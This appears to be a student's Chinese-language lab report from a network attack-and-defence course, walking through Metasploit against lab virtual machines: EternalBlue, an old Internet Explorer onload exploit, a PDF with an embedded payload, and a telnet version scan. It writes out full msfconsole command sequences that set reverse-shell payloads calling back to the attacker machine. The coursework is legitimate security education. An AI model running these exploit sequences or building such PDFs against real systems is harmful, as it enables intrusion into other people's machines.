zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用

    exploit选取

    • 主动攻击:ms17_010_eternalblue(唯一)
    • 浏览器攻击:ms05_054_onload(唯一)
    • 客户端攻击:adobe_pdf_embedded_exe(唯一)
    • 辅助模块: telnet_version(唯一)

    问题思考

    exploit:记得老师上课的时候说exploit是把payload“背”过去。。。 不太明白“背”是什么意思,我个人理解应该就是把配置好的东西送至靶机的一种攻击模块
    payload:用来攻击的代码、程序等
    encode:根据之前的实验来看,它的作用应该是使payload变形,从而实现免杀的目的

    实验内容

    任务一:ms17_010_eternalblue主动攻击实践(靶机:win7专业版)

    Description:
      This module is a port of the Equation Group ETERNALBLUE exploit, 
      part of the FuzzBunch toolkit released by Shadow Brokers. There is a 
      buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is 
      calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error 
      where a DWORD is subtracted into a WORD. The kernel pool is groomed 
      so that overflow is well laid-out to overwrite an SMBv1 buffer. 
      Actual RIP hijack is later completed in 
      srvnet!SrvNetWskReceiveComplete. This exploit, like the original may 
      not trigger 100% of the time, and should be run continuously until 
      triggered. It seems like the pool will get hot streaks and need a 
      cool down period before the shells rain in again. The module will 
      attempt to use Anonymous login, by default, to authenticate to 
      perform the exploit. If the user supplies credentials in the 
      SMBUser, SMBPass, and SMBDomain options it will use those instead. 
      On some systems, this module may cause system instability and 
      crashes, such as a BSOD or a reboot. This may be more likely with 
      some payloads.
    
    
    • 首先进入msf的模块目录下查看可用的exploit

    • msfconsole控制台使用该模块并查看适用的靶机系统版本以及需要设置的参数项等相关信息

    • 按照参数配置后,开始攻击
    use exploit/windows/smb/ms17_010_eternalblue.rb  //使用该模块
    show payloads  //查看载荷
    set payload generic/shell_reverse_tcp  //使用tcp反弹连接
    set LHOST 192.168.43.171  //设置攻击机的IP,即KALI的IP地址
    set LPORT 5228  //设置攻击端口
    set RHOST 192.168.43.143  //设置靶机IP
    set target 0  //选择自动目标系统类型
    exploit 
    

    • 不得不提。。。 第一次攻击靶机的杀软拦截了该攻击,然后关闭杀软后才攻击成功

    任务二:ms05_054_onload针对浏览器攻击(靶机:win2000/xp)

    Description:
     This bug is triggered when the browser handles a JavaScript 'onLoad' 
     handler in conjunction with an improperly initialized 'window()' 
     JavaScript function. This exploit results in a call to an address 
     lower than the heap. The javascript prompt() places our shellcode 
     near where the call operand points to. We call prompt() multiple 
     times in separate iframes to place our return address. We hide the 
     prompts in a popup window behind the main window. We spray the heap 
     a second time with our shellcode and point the return address to the 
     heap. I use a fairly high address to make this exploit more 
     reliable. IE will crash when the exploit completes. Also, please 
     note that Internet Explorer must allow popups in order to continue 
     exploitation.
    

    原理大概是利用漏洞对低于堆的低地址的调用,并在不同的ifframe中多次调用提示的函数来放置shellcode,并将提示隐藏在主窗口后面的弹窗中,并使用一个相当高的地址使攻击更可靠哦。该攻击要求IE开启弹窗选项,攻击完成时ie崩溃。(英语太辣鸡,以上属于一本正经地胡说八道TAT)

    • 首先查看ms05_054_onload的相关信息

    • 配置exploit
    set payload windows/meterpreter/reverse_tcp  //使用TCP回连
    set LHOST 192.168.199.128  //攻击机ip
    set LPORT 5228  //攻击端口
    set URIPATH 5228szk
    exploit //攻击
    

    生成http://192.168.199.128:8080/2016szk

    • 靶机访问前CPU占用率正常

    • 靶机访问后CPU占用率立刻飚满,然后IE自动关掉了,CPU使用率马上恢复正常

    任务三:adobe_pdf_embedded_exe针对客户端攻击(靶机:Win XP SP3 + adobe reader 9.0)

    Description:
      This module embeds a Metasploit payload into an existing PDF file. 
      The resulting PDF can be sent to a target as part of a social 
      engineering attack.
    

    1.生成用于攻击的pdf文件

    • 首先查看adobe_pdf_embedded_exe的信息

    • 按照参数配置后,生成用于攻击的pdf文件
    use windows/fileformat/adobe_pdf_embedded_exe  //使用该exploit
    set payload windows/meterpreter/reverse_tcp  //选择tcp方式的反弹连接方式
    set LHOST 192.168.199.128  //设置攻击机IP
    set LPORT 5228  //设置攻击端口
    set FILENAME 20165228.pdf  //设置生成的pdf文件名
    exploit  //生成pdf文件
    

    2.开始监听,然后靶机通过相应版本的adobe reader打开pdf文件,攻击成功

    use exploit/multi/handler //使用监听模块
    msfexploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
    set LHOST 192.168.199.128 //攻击机ip
    set LPORT 5228 //设置端口
    exploit  //监听
    

    任务四:telnet_version辅助模块

    Description:
      Detect telnet services
    
    • 首先查看telnet_version辅助模块的信息

    • 结果
    use auxiliary/scanner/telnet/telnet_version
    info
    set RHOSTS 192.168.199.0/24
    set THREADS 28
    run
    

    问题

    • 实验中除了试了挺多漏洞攻击都失败外没有出现过什么问题了

    离实战还缺些什么技术或步骤

    • 本次实验都是在根据一些比较老版本的系统或者软件中存在的漏洞而达到攻击的目的,在实战中靶机的系统环境十分复杂,软件版本更新极快,相对而言比较难成功攻破,所以需要在实战时先收集好信息并匹配对应可能有效的漏洞攻击。

    实验感想

    • 在周二上的课上,刘老师为我们讲解了几种不同方式的攻击,还对我们提出了严格的要求。不知道是不是我的电脑原因,能用的模块都是一个一个试出来的,不仅试模块还试虚拟机试软件版本,直到最后成功做了出来,期间电脑还被弄崩了一次,心力交瘁,但是收获很多。
  • 相关阅读:
    栈的经典运用-求值数学表达式
    java中Stack的源码解析
    java-背包的实现
    数据库的事务的特性及隔离级别
    EnumMap的用法和源码解析
    java final关键字的解析
    java中的static关键字解析
    XPath如何定位dom节点
    java 枚举(enum) 详细用法
    jdk动态代理
  • 原文地址:https://www.cnblogs.com/cloud795/p/10699311.html
Copyright © 2011-2022 走看看